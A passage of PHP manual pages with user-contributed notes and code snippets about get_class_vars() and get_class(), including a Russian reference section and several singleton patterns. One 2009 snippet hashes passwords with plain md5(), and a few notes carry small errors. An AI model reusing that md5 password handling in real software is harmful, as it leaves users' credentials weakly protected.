static protected function get_static_vars($class = NULL) {
    if (!isset($class)) $class = get_called_class();
    $result = array();
    foreach (get_class_vars($class) as $name => $default)
        if (isset($class::$$name))
            $result[$name] = $default;
    return $result;
}
?>
Mattias Ahlbck 14-Feb-2012 09:39
get_class_vars_assoc()
- Returns an associative array with name of (parent) class(es) as key(s) and corresponding class vars as sub-arrays. My boilerplate for some crude O/R mapping.

Note: vars re-defined in sub-classes are ignored.

<?php

class GrandClass {
    public $grandVar;
    public $in_grand_and_parent;
    public $in_grand_and_child;

    public static function load() {
        print_r(self::get_class_vars_assoc());
    }

    protected static function get_class_vars_assoc() {
        $called = get_called_class();
        //echo "called: $called \n";
        $classVars[$called] = array_keys(get_class_vars($called));

        $parent = get_parent_class($called);
        while ( $parent !== FALSE ) {
            //echo "parent: $parent \n";
            $classVars[$parent] = array_keys(get_class_vars($parent));
            $classVars[$called] = array_diff($classVars[$called],
                                             $classVars[$parent]);
            if ( isset($prevParentVars) ) {
                $prevParentVars = array_diff($prevParentVars,
                                             $classVars[$parent]);
            }

            $prevParentVars = &$classVars[$parent];
            $parent = get_parent_class($parent);
        }

        return $classVars;
    }
}

class ParentClass extends GrandClass {
    public $in_grand_and_parent;
    public $parentVar;
    public $in_parent_and_child;
}

class ChildClass extends ParentClass {
    public $in_grand_and_child;
    public $in_parent_and_child;
    public $childVar;
}

ChildClass::load();

?>

Array
(
    [ChildClass] => Array
        (
            [2] => childVar
        )

    [ParentClass] => Array
        (
            [1] => parentVar
            [2] => in_parent_and_child
        )

    [GrandClass] => Array
        (
            [0] => grandVar
            [1] => in_grand_and_parent
            [2] => in_grand_and_child
        )

)
ciantic 30-Jan-2012 10:06
I propse following for getting Public members, always:
<?PHP
if (!function_exists("get_public_class_vars")) {
    function get_public_class_vars($class) {
        return get_class_vars($class);
    }
}
if (!function_exists("get_public_object_vars")) {
    function get_public_object_vars($object) {
        return get_object_vars($object);
    }
}
?>

This is to mitigate the problem and a feature that get_object_vars($this) returns private members. Running it simply outside the scope will get the public.

Iterating public members only and their defaults are enormously useful in e.g. in serialization classes such as options where each public member is an serializable that is saved and loaded.
pBakhuis at Gmail dot com 07-Oct-2011 03:08
If you need the variables before the class is included this function does not seem to work.
Use a reflection class to get around this.
http://www.php.net/reflectionclass
ken at verango dot com 04-Oct-2010 04:50
All 3 of get_object_vars, get_class_vars and reflection getDefaultProperties will reveal the name of the array.  For serialization I recommend:

<?php
$cName = get_class($this);
$varTemplate= get_class_vars($cName)
foreach ($varTemplate as $name => $defaultVal) {
  $vars[$name] = $this->$name; // gets actual val.
}
?>

No scan the $vars and create serialization string how you wish.

This protects against erroneous prior deserializing in maintaining the integrity of the class template and ignoring unintended object properties.
ianitsky at gmail dot com 10-Nov-2009 11:53
If you need get the child protected/private vars ignoring the parent vars, use like this:

<?php
class childClass extends parentClass {
    private $login;
    private $password;

    public function __set($key, $val) {
        if ($key == 'password')
            $this->$key = md5($val);
        else
            $this->$key = $val;
    }
}
class parentClass {
    public $name;
    public $email;

    function __construct() {
        $reflection = new ReflectionClass($this);
        $vars = array_keys($reflection->getdefaultProperties());
        $reflection = new ReflectionClass(__CLASS__);
        $parent_vars = array_keys($reflection->getdefaultProperties());

        $my_child_vars = array();
        foreach ($vars as $key) {
            if (!in_array($key, $parent_vars)) {
                $my_child_vars[] = $key;
            }
        }

        print_r($my_child_vars);
    }
}

$child_class = new childClass();
?>
harmor 20-Dec-2008 03:53
So I wanted to get a list of the public parameters in a child class using a static function pre-5.3.0 (< 5.3.0).  In 5.3.0+ you would use the new 'static' like you would 'self' to get the late binding.

<?php
class childClass extends parentClass
{
    public $id;
    public $name;

    public static function getFields()
    {
        return self::_getFields(__CLASS__);
    }

}
abstract class parentClass
{
    public $idInParent;
    public $nameInParent;

    abstract public static function getFields();

    final protected static function _getFields($className)
    {
        $rtn = array();
        foreach (array_keys(get_class_vars($className)) as $var) {
            $rtn[] = $var;
        }
        return $rtn;
    }

}

var_dump(childClass::getFields());
?>

Results:
array(4) {
  [0]=>
  string(2) "id"
  [1]=>
  string(4) "name"
  [2]=>
  string(10) "idInParent"
  [3]=>
  string(12) "nameInParent"
}
artktec at art-k-tec dot com 16-Nov-2007 09:18
There seems to be be a function to get constants missing , i.e. get_class_constants() ... so here is a simple function for you all. Hopefully Zend will include this in the next round as a native php call, without using reflection.

<?php
   function GetClassConstants($sClassName) {
      $oClass = new ReflectionClass($sClassName);
      return $oClass->getConstants());
   }
?>
phpnet at stccorp dot net 15-Jun-2007 05:18
This is one of the best php functions. Look at what you can do

class Object
{
   var $updtFields;//keep track of affected values
   function Object($record="") {
       if (is_array($record))
       {
          $this->updtFields = array();
          foreach(array_keys(get_class_vars(get_class($this))) as $k)
          if (isset($record[$k]))
         {
          $this->$k = $record[$k];
          $this->updtFields[] = $k;
         }
      }
   }//end of arrayToObject

   function toDebug($nl='<br>')
   {
       foreach(array_keys(get_class_vars(get_class($this))) as $k)
       echo "$k = [" . $this->$k . "]{$nl}";
    }//end of toDebug
}

Now you can do really cool things. If you have a form like
<form action="" method="post">
  <input type="text" name="name" />
  <input type="text" name="phone" />
  <input type="submit" />
</form>

and you define your class like this
class Person extends Object{
  var $name; //same same as in the form
  var $phone;
}

when you submmit the form, you can get the data like

$person = new Person($_POST);

//everything in just one line,cool!! Also if you use pear db or adodb when you get data from the database you can do the same thing except use the $row that you get from the database. Remember to ask the result is associative mode.

This is my core Object for everthing I do and it works great.
bernd at tiggerswelt dot net 29-Jan-2007 02:52
If you assign a constant value using the self-scope by default to a variable, get_class_vars() will result in a FATAL error.

Example:

<?PHP

  class Foo {
    const Bar = "error";

    public $Foo = self::Bar;
  }

  print_r(get_class_vars("Foo"));

?>

... but using "Foo::Bar" instead "self::Bar" will work ;)
gizmobits at hotmail dot com 03-Mar-2006 07:48
I wanted a simple ToString() function that was automatic and class independent.  I wanted to dump it into any of several classes and get values quickly.  I wanted to leave it there so I could customize it for each class, so an outside function wasn't suitable.  I came up with this and thought it might be useful.  Have fun!

<?php
  function ToString () {
    $s = "";
    $s .= "<table>\n";
    $s .= "<tr><td colspan=2><hr></td></tr>\n";
    foreach (get_class_vars(get_class($this)) as $name => $value) {
      $s .= "<tr><td>$name:</td><td>" . $this->$name . "</td></tr>\n";
    }
    $s .= "<tr><td colspan=2><hr></td></tr>\n";
    $s .= "</table>\n";
    return $s;
  }

?>
php dot net at sharpdreams dot com 25-Oct-2005 06:25
Contrary to multiple comments throughout the manual, get_class_vars() performed within a class can access any public, protected, and private members.

<?php
class Foo {
   public $x;
   protected $y;
   private $z;
   public function __sleep() {
      return( get_class_vars( __CLASS__ ) );
   }
}
?>

works fine (returns x, y, & z). However, given the same class as above,

<?php
print_r( get_class_vars( "Foo" ) );
?>

will NOT return x, y, & z. Instead it will only return the public members (in our case, z).
alan_k at php dot net 21-Jan-2005 07:23
in PHP5 to get all the vars (including private etc.) use:

$reflection = new ReflectionClass($class);
$defaults = $reflection->getdefaultProperties();
rec at NOSPAM dot instantmassacre dot com 23-Jan-2003 04:23
If you want to retrieve the class vars from within the class itself, use $this.

<?php
class Foo {

    var $a;
    var $b;
    var $c;
    var $d;
    var $e;

    function GetClassVars()
    {
        return array_keys(get_class_vars(get_class($this))); // $this
    }

}

$Foo = new Foo;

$class_vars = $Foo->GetClassVars();

foreach ($class_vars as $cvar)
{
    echo $cvar . "<br />\n";
}
?>

Produces, after PHP 4.2.0, the following:

a
b
c
d
e


Возвращает имя класса, которому принадлежит объект

  • « get_class_vars
  • get_declared_classes »
  • PHP Manual
  • Функции работы с классами и объектами
  • Возвращает имя класса, которому принадлежит объект

get_class

(PHP 4, PHP 5, PHP 7, PHP 8)

get_class — Возвращает имя класса, которому принадлежит объект

Описание

get_class(object $object = ?): string

Функция получает имя класса объекта object.

Список параметров

object

Тестируемый объект.

Замечание: С PHP 7.2.0 явная передача null в параметр object запрещена и выдаёт ошибку уровня E_WARNING. С PHP 8.0.0 функция выбрасывает исключение TypeError при передаче в параметр значения null.

Возвращаемые значения

Функция возвращает имя класса, которому принадлежит экземпляр object.

Функция вернёт полное название пространства имён, если объект object — экземпляр класса из пространства имён.

Ошибки

Функция get_class() выбрасывает исключение TypeError, если функцию вызывают не с объектом. До PHP 8.0.0 функция выдавала ошибку уровня E_WARNING.

Функция get_class() выбрасывает исключение Error, если функцию вызывают вне класса без аргументов. До PHP 8.0.0 функция выдавала ошибку уровня E_WARNING.

Список изменений

Версия | Описание
8.3.0 | Функция get_class() теперь выдаёт ошибку уровня E_DEPRECATED, если функцию вызвали без аргументов; раньше вызов функции внутри класса возвращал название класса.
8.0.0 | Вызов функции вне класса без аргументов выбрасывает исключение Error. Раньше функция выдавала ошибку уровня E_WARNING и возвращала значение false.
7.2.0 | До этой версии значением объекта object по умолчанию было значение null, и это давало тот же эффект, что и вызов функции без аргументов. Значение null удалили как значение по умолчанию для объекта object и оно больше не допустимо.

Примеры

Пример #1 Пример использования функции get_class()

<?php

class foo
{
function name()
{
echo "Меня зовут " , get_class($this) , "\n";
}
}

// Создаём объект
$bar = new foo();

// Внешний вызов
echo "Его имя " , get_class($bar) , "\n";

// Внутренний вызов
$bar->name();

?>

Результат выполнения приведённого примера:

Его имя foo
Меня зовут foo

Пример #2 Вызов функции get_class() в родительском классе

<?php

abstract class bar
{
public function __construct()
{
var_dump(get_class($this));
var_dump(get_class());
}
}

class foo extends bar {}

new foo;

?>

Результат выполнения приведённого примера:

string(3) "foo"
string(3) "bar"

Пример #3 Вызов функции get_class() с классами в пространствах имён

<?php

namespace Foo\Bar;

class Baz
{
public function __construct() {}
}

$baz = new \Foo\Bar\Baz;

var_dump(get_class($baz));

?>

Результат выполнения приведённого примера:

string(11) "Foo\Bar\Baz"

Смотрите также

  • get_called_class() - Получает имя класса через позднее статическое связывание
  • get_parent_class() - Получает имя родительского класса для объекта или класса
  • gettype() - Возвращает тип переменной
  • get_debug_type() - Возвращает имя типа переменной в виде, подходящем для отладки
  • is_subclass_of() - Проверяет, принадлежит ли объект к потомкам класса, или реализует ли объект или родители объекта интерфейс

User Contributed Notes

davidsch 07-Jun-2021 02:50
There are discussions below regarding how to create a singleton that allows subclassing. It seems with get_called_class  there is now a cleaner solution than what is discussed below, that does not require overriding a method per subclass.

e.g.

<?php
abstract class MySuperclass {
    static private $instances = array();

    static public function getInstance(): ACFBlock {
        $className = get_called_class();
        if (!isset(self::$instances[$className])) {
            self::$instances[$className] = new static();
        }
        return self::$instances[$className];
    }

    private function __construct() {
        // Singleton
     }
}

class MySubclass extends MySuperclass {
}

MySubclass::getInstance();
kiril (AT) aternus networks 10-Oct-2017 09:03
If you want the Class Name without the Namespace or if you've got here because basename() returns a dot (.) for the FQCN (Fully Qualified Class Name), here is the solution:

<?php
// FQCN: App\Http\Controllers\CustomerReportController

substr(self::class, (int)strrpos(self::class, '\\') + 1)

// returns: CustomerReportController
?>
Hayley Watson 24-Sep-2017 11:22
Although you can call a class's static methods from an instance of the class as though they were object instance methods, it's nice to know that, since classes are represented in PHP code by their names as strings, the same thing goes for the return value of get_class():

<?php
$t->Faculty();
SomeClass::Faculty(); // $t instanceof SomeClass
"SomeClass"::Faculty();
get_class($t)::Faculty();
?>

The first is legitimate, but the last makes it clear to someone reading it that Faculty() is a static method (because the name of the method certainly doesn't).
dense 17-Dec-2016 01:33
well, if you call  get_class() on an aliased class, you will get the original class name

<?php

class Person {}

class_alias('Person', 'User');

$me = new User;

var_dump( get_class($me) ); // 'Person'

?>
XyQrTw 28-Nov-2016 10:18
To get class name without the Namespace you can use easily this trick :
<?php
namespace My\Long\Namespace;

class MyClass {

    static function getClassName() {
        return basename(__CLASS__);
       // or with get_class();
        return basename(get_class());
    }

}

echo \My\Long\Namespace\MyClass::getClassName(); // Display : MyClass
?>
RQuadling at GMail dot com 19-Dec-2014 03:09
With regard to getting the class name from a namespaced class name, then using basename() seems to do the trick quite nicely.

<?php
namespace Foo\Bar;

abstract class Baz
{
  public function report()
  {
    echo
      '__CLASS__        ', __CLASS__, ' ', basename(__CLASS__), PHP_EOL,
      'get_called_class ', get_called_class(), ' ', basename(get_called_class()), PHP_EOL;
  }
}

class Snafu extends Baz
{
}

(new Snafu)->report();
?>

produces output of ...

__CLASS__        Foo\Bar\Baz   Baz
get_called_class Foo\Bar\Snafu Snafu
jjanak at webperfection dot net 03-Oct-2014 11:06
>= 5.5

::class
fully qualified class name, instead of get_class

<?php
namespace my\library\mvc;

class Dispatcher {}

print Dispatcher::class; // FQN == my\library\mvc\Dispatcher

$disp = new Dispatcher;

print $disp::class; // parse error
Anonymous 18-Sep-2014 08:55
If you want the path to an file if you have i file structure like this

project -> system -> libs -> controller.php
project -> system -> modules -> foo -> foo.php

and foo() in foo.php extends controller() in controller.php like this

<?PHP
namespace system\modules\foo;

class foo extends \system\libs\controller {
    public function __construct() {
        parent::__construct();
    }
}
?>

and you want to know the path to foo.php in controller() this may help you

<?PHP
namespace system\libs;

class controller {
    protected function __construct() {
        $this->getChildPath();
    }
    protected function getChildPath() {
        echo dirname(get_class($this));
    }
}
?>

<?PHP
$f = new foo();  // system\modules\foo
?>
var23rav at gmail dot com 27-Aug-2014 01:52
class A
{
function __construct(){
        //parent::__construct();
        echo $this->m =  'From constructor A: '.get_class();
        echo $this->m =  'From constructor A:- argument = $this: '.get_class($this);

        echo $this->m =  'From constructor A-parent: '.get_parent_class();
        echo $this->m =  'From constructor A-parent:- argument =  $this: '.get_parent_class($this);
    }
}
class B extends A
{
function __construct(){
        parent::__construct();
        echo $this->m =  'From constructor B: '.get_class();
        echo $this->m =  'From constructor B:- argument =  $this: '.get_class($this);

        echo $this->m =  'From constructor B-parent: '.get_parent_class();
        echo $this->m =  'From constructor B-parent:- argument =  $this: '.get_parent_class($this);
    }
}
$b = new B();
//----------------output--------------------

From constructor A: A
From constructor A:- argument = $this: B
From constructor A-parent:
From constructor A-parent:- argument = $this: A
From constructor B: B
From constructor B:- argument = $this: B
From constructor B-parent: A
From constructor B-parent:- argument = $this: A

Use get_class() to get the name of class  ,it will help you get the class name, in case you extend that class with another class and want to get the name of the class to which object is instance of user get_class($object)

when you create an object of class{$b object of B} which has a super class{Class A}.
uses these code IN Super Class {A}
--------------------------------------------
to get class name B{object instance} :  get_class($this)
to get class name A{super class}  : get_class() or get_parent_class($this)
dave at shax dot com 06-Mar-2014 04:36
A lot of people in other comments wanting to get the classname without the namespace. Some weird suggestions of code to do that - not what I would've written! So wanted to add my own way.

<?php
function get_class_name($classname)
{
    if ($pos = strrpos($classname, '\\')) return substr($classname, $pos + 1);
    return $pos;
}
?>

Also did some quick benchmarking, and strrpos() was the fastest too. Micro-optimisations = macro optimisations!

39.0954 ms - preg_match()
28.6305 ms - explode() + end()
20.3314 ms - strrpos()

(For reference, here's the debug code used. c() is a benchmarking function that runs each closure run 10,000 times.)

<?php
c(
    function($class = 'a\b\C') {
        if (preg_match('/\\\\([\w]+)$/', $class, $matches)) return $matches[1];
        return $class;
    },
    function($class = 'a\b\C') {
        $bits = explode('\\', $class);
        return end($bits);
    },
    function($class = 'a\b\C') {
        if ($pos = strrpos($class, '\\')) return substr($class, $pos + 1);
        return $pos;
    }
);
?>
Nanhe Kumar 20-Dec-2013 12:14
<?php
class Parent{
}
class Child extends Parent{
}
$c = new Child();
echo get_class($c) //Child
?>
<?php
class Parent{
  public function getClass(){
     echo get_class();
  }
}
class Child extends Parent{
}
$obj = new Child();
$obj->getClass(); //outputs Parent
?>
<?php
class Parent{
  public function getClass(){
     echo get_class($this);
  }
}
class Child extends Parent{
}
$obj = new Child();
$obj->getClass(); // Parent
?>
emmanuel dot antico at gmail dot com 10-May-2013 07:35
/**
 * Obtains an object class name without namespaces
 */
function get_real_class($obj) {
    $classname = get_class($obj);

    if (preg_match('@\\\\([\w]+)$@', $classname, $matches)) {
        $classname = $matches[1];
    }

    return $classname;
}
macnimble at gmail dot com 17-Mar-2012 07:24
Need a quick way to parse the name of a class when it's namespaced? Try this:

<?php
namespace Engine;
function parse_classname ($name)
{
  return array(
    'namespace' => array_slice(explode('\\', $name), 0, -1),
    'classname' => join('', array_slice(explode('\\', $name), -1)),
  );
}
final class Kernel
{
  final public function __construct ()
  {
    echo '<pre>', print_r(parse_classname(__CLASS__),1), '</pre>';
    // Or this for a one-line method to get just the classname:
    // echo join('', array_slice(explode('\\', __CLASS__), -1));
  }
}
new Kernel();
?>

Outputs:
Array
(
    [namespace] => Array
        (
            [0] => Engine
        )

    [classname] => Kernel
)
mail dot temc at gmail dot com 06-Dec-2011 02:51
People seem to mix up what __METHOD__, get_class($obj) and get_class() do, related to class inheritance.

Here's a good example that should fix that for ever:

<?php

class Foo {
 function doMethod(){
  echo __METHOD__ . "\n";
 }
 function doGetClassThis(){
  echo get_class($this).'::doThat' . "\n";
 }
 function doGetClass(){
  echo get_class().'::doThat' . "\n";
 }
}

class Bar extends Foo {

}

class Quux extends Bar {
 function doMethod(){
  echo __METHOD__ . "\n";
 }
 function doGetClassThis(){
  echo get_class($this).'::doThat' . "\n";
 }
 function doGetClass(){
  echo get_class().'::doThat' . "\n";
 }
}

$foo = new Foo();
$bar = new Bar();
$quux = new Quux();

echo "\n--doMethod--\n";

$foo->doMethod();
$bar->doMethod();
$quux->doMethod();

echo "\n--doGetClassThis--\n";

$foo->doGetClassThis();
$bar->doGetClassThis();
$quux->doGetClassThis();

echo "\n--doGetClass--\n";

$foo->doGetClass();
$bar->doGetClass();
$quux->doGetClass();

?>

OUTPUT:

--doMethod--
Foo::doMethod
Foo::doMethod
Quux::doMethod

--doGetClassThis--
Foo::doThat
Bar::doThat
Quux::doThat

--doGetClass--
Foo::doThat
Foo::doThat
Quux::doThat
ozana at omdesign dot cz 28-Nov-2011 07:53
Simplest way how to gets Class without namespace

<?php
namespace a\b\c\d\e\f;

class Foo {

  public function __toString() {
    $class = explode('\\', __CLASS__);
    return end($class);
  }
}

echo new Foo(); // prints Foo
?>
Michael Richey 31-Oct-2011 12:01
Attempting various singleton base class methods described on this page, I have created a base class and bridge function that allows it to work without get_called_class() if it's not available.  Unlike other methods listed here, I chose not to prevent use of __construct() or __clone().

<?php
abstract class Singleton {
    protected static $m_pInstance;
    final public static function getInstance(){
        $class = static::getClass();
        if(!isset(static::$m_pInstance[$class])) {
            static::$m_pInstance[$class] = new $class;
        }
        return static::$m_pInstance[$class];
    }
    final public static function getClass(){
        return get_called_class();
    }
}

// I don't remember where I found this, but this is to allow php < 5.3 to use this method.
if (!function_exists('get_called_class')) {
    function get_called_class($bt = false, $l = 1) {
        if (!$bt)
            $bt = debug_backtrace();
        if (!isset($bt[$l]))
            throw new Exception("Cannot find called class -> stack level too deep.");
        if (!isset($bt[$l]['type'])) {
            throw new Exception('type not set');
        }
        else
            switch ($bt[$l]['type']) {
                case '::':
                    $lines = file($bt[$l]['file']);
                    $i = 0;
                    $callerLine = '';
                    do {
                        $i++;
                        $callerLine = $lines[$bt[$l]['line'] - $i] . $callerLine;
                    } while (stripos($callerLine, $bt[$l]['function']) === false);
                    preg_match('/([a-zA-Z0-9\_]+)::' . $bt[$l]['function'] . '/', $callerLine, $matches);
                    if (!isset($matches[1])) {
                        // must be an edge case.
                        throw new Exception("Could not find caller class: originating method call is obscured.");
                    }
                    switch ($matches[1]) {
                        case 'self':
                        case 'parent':
                            return get_called_class($bt, $l + 1);
                        default:
                            return $matches[1];
                    }
                // won't get here.
                case '->': switch ($bt[$l]['function']) {
                        case '__get':
                            // edge case -> get class of calling object
                            if (!is_object($bt[$l]['object']))
                                throw new Exception("Edge case fail. __get called on non object.");
                            return get_class($bt[$l]['object']);
                        default: return $bt[$l]['class'];
                    }

                default: throw new Exception("Unknown backtrace method type");
            }
    }
}

class B extends Singleton {
}

class C extends Singleton {
}

$b = B::getInstance();
echo 'class: '.get_class($b);

echo '<br />';

$c = C::getInstance();
echo echo 'class: '.get_class($c);
?>
This returns:
class: b
class: c
me at nwhiting dot com 06-Dec-2010 08:14
Method for pulling the name of a class with namespaces pre-stripped.

<?php
/**
 * Returns the name of a class using get_class with the namespaces stripped.
 * This will not work inside a class scope as get_class() a workaround for
 * that is using get_class_name(get_class());
 *
 * @param  object|string  $object  Object or Class Name to retrieve name

 * @return  string  Name of class with namespaces stripped
 */
function get_class_name($object = null)
{
    if (!is_object($object) && !is_string($object)) {
        return false;
    }

    $class = explode('\\', (is_string($object) ? $object : get_class($object)));
    return $class[count($class) - 1];
}
?>

And for everyone for Unit Test goodiness!

<?php
namespace testme\here;

class TestClass {

    public function test()
    {
       return get_class_name(get_class());
    }
}

class GetClassNameTest extends \PHPUnit_Framework_TestCase
{
    public function testGetClassName()
    {
        $class  = new TestClass();
        $std  = new \stdClass();
        $this->assertEquals('TestClass', get_class_name($class));
        $this->assertEquals('stdClass', get_class_name($std));
        $this->assertEquals('Test', get_class_name('Test'));
        $this->assertFalse(get_class_name(null));
        $this->assertFalse(get_class_name(array()));
        $this->assertEquals('TestClass', $class->test());
    }
}
?>
Aaron 18-Jun-2010 11:14
This can sometimes be used in place of get_called_class(). I used this function in a parent class to get the name of the class that extends it.
ovidiu.bute [at] gmail.com 05-Apr-2010 10:23
If you are using namespaces this function will return the name of the class including the namespace, so watch out if your code does any checks for this. Ex:

namespace Shop;

<?php
class Foo
{
  public function __construct()
  {
     echo "Foo";
  }
}

//Different file

include('inc/Shop.class.php');

$test = new Shop\Foo();
echo get_class($test);//returns Shop\Foo
?>
Lanselot 11-Feb-2009 02:09
Beware if you're omitting the parameter on inherited classes.
It'll return the class name of the method where it's called.

<?php
class A {
    function foo() {
      return get_class();
    }
}
class B extends A {
   function bar() {
      return get_class();
   }
}
$instance = new B();
echo $instance->bar(); //Prints 'B';
echo $instance->foo(); //Prints 'A';
?>
danbettles at yahoo dot co dot uk 08-Oct-2008 11:56
It is possible to write a completely self-contained Singleton base class in PHP 5.3 using the new get_called_class function.  When called in a static method, this function returns the name of the class the call was made against.

<?php

abstract class Singleton {

    protected function __construct() {
    }

    final public static function getInstance() {
        static $aoInstance = array();

        $calledClassName = get_called_class();

        if (! isset ($aoInstance[$calledClassName])) {
            $aoInstance[$calledClassName] = new $calledClassName();
        }

        return $aoInstance[$calledClassName];
    }

    final private function __clone() {
    }
}

class DatabaseConnection extends Singleton {

    protected $connection;

    protected function __construct() {
        // @todo Connect to the database
    }

    public function __destruct() {
        // @todo Drop the connection to the database
    }
}

$oDbConn = new DatabaseConnection();  // Fatal error

$oDbConn = DatabaseConnection::getInstance();  // Returns single instance
?>

Full write-up in Oct 2008: http://danbettles.blogspot.com
Edward 21-Aug-2008 03:26
The code in my previous comment was not completely correct. I think this one is.

<?
abstract class Singleton {
    protected static $__CLASS__ = __CLASS__;

    protected function __construct() {
    }

    abstract protected function init();

    /**
     * Gets an instance of this singleton. If no instance exists, a new instance is created and returned.
     * If one does exist, then the existing instance is returned.
     */
    public static function getInstance() {
        static $instance;

        $class = self::getClass();

        if ($instance === null) {
            $instance = new $class();
            $instance->init();
        }

        return $instance;
    }

    /**
     * Returns the classname of the child class extending this class
     *
     * @return string The class name
     */
    private static function getClass() {
        $implementing_class = static::$__CLASS__;
        $original_class = __CLASS__;

        if ($implementing_class === $original_class) {
            die("You MUST provide a <code>protected static \$__CLASS__ = __CLASS__;</code> statement in your Singleton-class!");
        }

        return $implementing_class;
    }
}
?>
Edward 20-Aug-2008 05:42
With Late Static Bindings, available as of PHP 5.3.0, it is now possible to implement an abstract Singleton class with minimal overhead in the child classes. Late static bindings are explained here: http://nl2.php.net/manual/en/language.oop5.late-static-bindings.php

In short, it introduces a new 'static::' keyword, that is evaluated at runtime. In the following code I use it to determine the classname of the child Singleton class.

<?
abstract class Singleton {
    protected static $__CLASS__ = __CLASS__;
    protected static $instance;

    protected function __construct() {
        static::$instance = $this;
        $this->init();
    }

    abstract protected function init();

    protected function getInstance() {
        $class = static::getClass();

        if (static::$instance===null) {
            static::$instance = new $class;
        }

        return static::$instance;
    }

    private static function getClass() {
        if (static::$__CLASS__ == __CLASS__) {
            die("You MUST provide a <code>protected static \$__CLASS__ = __CLASS__;</code> statement in your Singleton-class!");
        }

        return static::$__CLASS__;
    }
}
?>

An example Singleton class can then be implemented as follows:

<?
class A extends Singleton {
    protected static $__CLASS__ = __CLASS__; // Provide this in each singleton class.

    protected function someFunction() {
        $instance = static::getInstance();
        // ...
    }
}
?>

Hope this helps you save some time :)
dave dot zap at gmail dot com 29-Apr-2008 09:13
Take care using the backtrace method to find the calling class of a static method, you should step backward through the array and find a match for your getInstance() function. In backtrace the class name you want is not always the last item in the array.

I will not post the whole singleton class here, but have made the following modification to Frederik Krautwald's method (found below)

<?php
$bt = debug_backtrace();
// this method is count($bt)-1) by Frederik will fall over when calling getInstance from within an include file.
//$class = $bt[count($bt) - 1]['class'];

for( $i=count($bt)-1 ; $i > 0 ; $i--)
{
    if($bt[$i]['function'] == 'getInstance')
    {
        $class = $bt[$i]['class'];
        break;
    }
}
?>
Anonymous 12-Apr-2008 02:01
In Perl (and some other languages) you can call some methods in both object and class (aka static) context. I made such a method for one of my classes in PHP5, but found out that static methods in PHP5 do not 'know' the name of the calling subclass', so I use a backtrace to determine it. I don't like hacks like this, but as long as PHP doesn't have an alternative, this is what has to be done:

public function table_name() {
        $result = null;
        if (isset($this)) { // object context
            $result = get_class($this);
        }
        else { // class context
            $result = get_class();
            $trace = debug_backtrace();
            foreach ($trace as &$frame) {
                if (!isset($frame['class'])) {
                    break;
                }
                if ($frame['class'] != $result) {
                    if (!is_subclass_of($frame['class'], $result)) {
                        break;
                    }
                    $result = $frame['class'];
                }
            }
        }
        return $result;
    }
andregs at NOSPAM dot gmail dot NOSPAM dot com 21-Feb-2008 01:17
After reading the previous comments, this is the best I've done to get the final class name of a subclass:

<?php

class Singleton
{
   private static $_instances = array();
   protected final function __construct(){}

   /**
    * @param string $classname
    * @return Singleton
    */
   protected static function getInstance()
   {
      $classname = func_get_arg(0);
      if (! isset(self::$_instances[$classname]))
      {
         self::$_instances[$classname] = new $classname();
      }
      return self::$_instances[$classname];
   }

}

class Child extends Singleton
{
   /**
    * @return Child
    */
   public static function getInstance()
   {
      return parent::getInstance(get_class());
   }
}

?>

Subclasses must override "getInstance" and cannot override "__construct".
dodgie74 at NOSPAM dot yahoo dot NOSPAM dot co dot uk 09-Sep-2007 05:40
As noted in bug #30934 (which is not actually a bug but a consequence of a design decision), the "self" keyword is bound at compile time. Amongst other things, this means that in base class methods, any use of the "self" keyword will refer to that base class regardless of the actual (derived) class on which the method was invoked. This becomes problematic when attempting to call an overridden static method from within an inherited method in a derived class. For example:

<?php
class Base
{
    protected $m_instanceName = '';

    public static function classDisplayName()
    {
        return 'Base Class';
    }

    public function instanceDisplayName()
    {
        //here, we want "self" to refer to the actual class, which might be a derived class that inherits this method, not necessarily this base class
        return $this->m_instanceName . ' - ' . self::classDisplayName();
    }
}

class Derived extends Base
{
    public function Derived( $name )
    {
        $this->m_instanceName = $name;
    }

    public static function classDisplayName()
    {
        return 'Derived Class';
    }
}

$o = new Derived('My Instance');
echo $o->instanceDisplayName();
?>

In the above example, assuming runtime binding (where the keyword "self" refers to the actual class on which the method was invoked rather than the class in which the method is defined) would produce the output:

My Instance - Derived Class

However, assuming compile-time binding (where the keyword "self" refers to the class in which the method is defined), which is how php works, the output would be:

My Instance - Base Class

The oddity here is that "$this" is bound at runtime to the actual class of the object (obviously) but "self" is bound at compile-time, which seems counter-intuitive to me. "self" is ALWAYS a synonym for the name of the class in which it is written, which the programmer knows so s/he can just use the class name; what the programmer cannot know is the name of the actual class on which the method was invoked (because the method could be invoked on a derived class), which it seems to me is something for which "self" ought to be useful.

However, questions about design decisions aside, the problem still exists of how to achieve behaviour similar to "self" being bound at runtime, so that both static and non-static methods invoked on or from within a derived class act on that derived class. The get_class() function can be used to emulate the functionality of runtime binding for the "self" keyword for static methods:

<?php
class Base
{
    protected $m_instanceName = '';

    public static function classDisplayName()
    {
        return 'Base Class';
    }

    public function instanceDisplayName()
    {
        $realClass = get_class($this);
        return $this->m_instanceName . ' - ' . call_user_func(array($realClass, 'classDisplayName'));
    }
}

class Derived extends Base
{
    public function Derived( $name )
    {
        $this->m_instanceName = $name;
    }

    public static function classDisplayName()
    {
        return 'Derived Class';
    }
}

$o = new Derived('My Instance');
echo $o->instanceDisplayName();
?>

Output:
My Instance - Derived Class

I realise that some people might respond "why don't use just just the class name with ' Class' appended instead of the classDisplayName() method", which is to miss the point. The point is not the actual strings returned but the concept of wanting to use the real class for an overridden static method from within an inherited non-static method. The above is just a simplified version of a real-world problem that was too complex to use as an example.

Apologies if this has been mentioned before.
bramus at bram dot us 20-Aug-2007 08:40
@ Frederik :

<?
$class = $bt[count($bt) - 1]['class'];
?>

should be

<?
$class = $bt[count($bt) - 2]['class'];
?>

;-)
Frederik Krautwald 25-Jun-2007 08:13
Due to PHP 5 engine that permits to get final class in a static called function, and this is a modified version of examples published below.

<?php
abstract class Singleton {
    protected static $_instances = array();

    protected function __construct() {}

    protected static function getInstance() {
        $bt = debug_backtrace();
        $class = $bt[count($bt) - 1]['class'];
        if (!isset(self::$_instances[$class])) {
            self::$_instances[$class] = new $class();
        }
        return self::$_instances[$class];
    }
}
class A extends Singleton {
    public static function getInstance() {
        return parent::getInstance();
    }
}
class B extends Singleton {
    public static function getInstance() {
        return parent::getInstance();
    }
}
class C extends A {
    public static function getInstance() {
        return parent::getInstance();
    }
}

$a = A::getInstance();
$b = B::getInstance();
$c = C::getInstance();

echo "\$a is a " . get_class($a) . "<br />";
echo "\$b is a " . get_class($b) . "<br />";
echo "\$c is a " . get_class($c) . "<br />";
?>

I don't know about if performance would increase if debug_backtrace() is skipped and instead have getInstance() to accept a passed class retrieved by get_class() method as parameter as described in a post below.

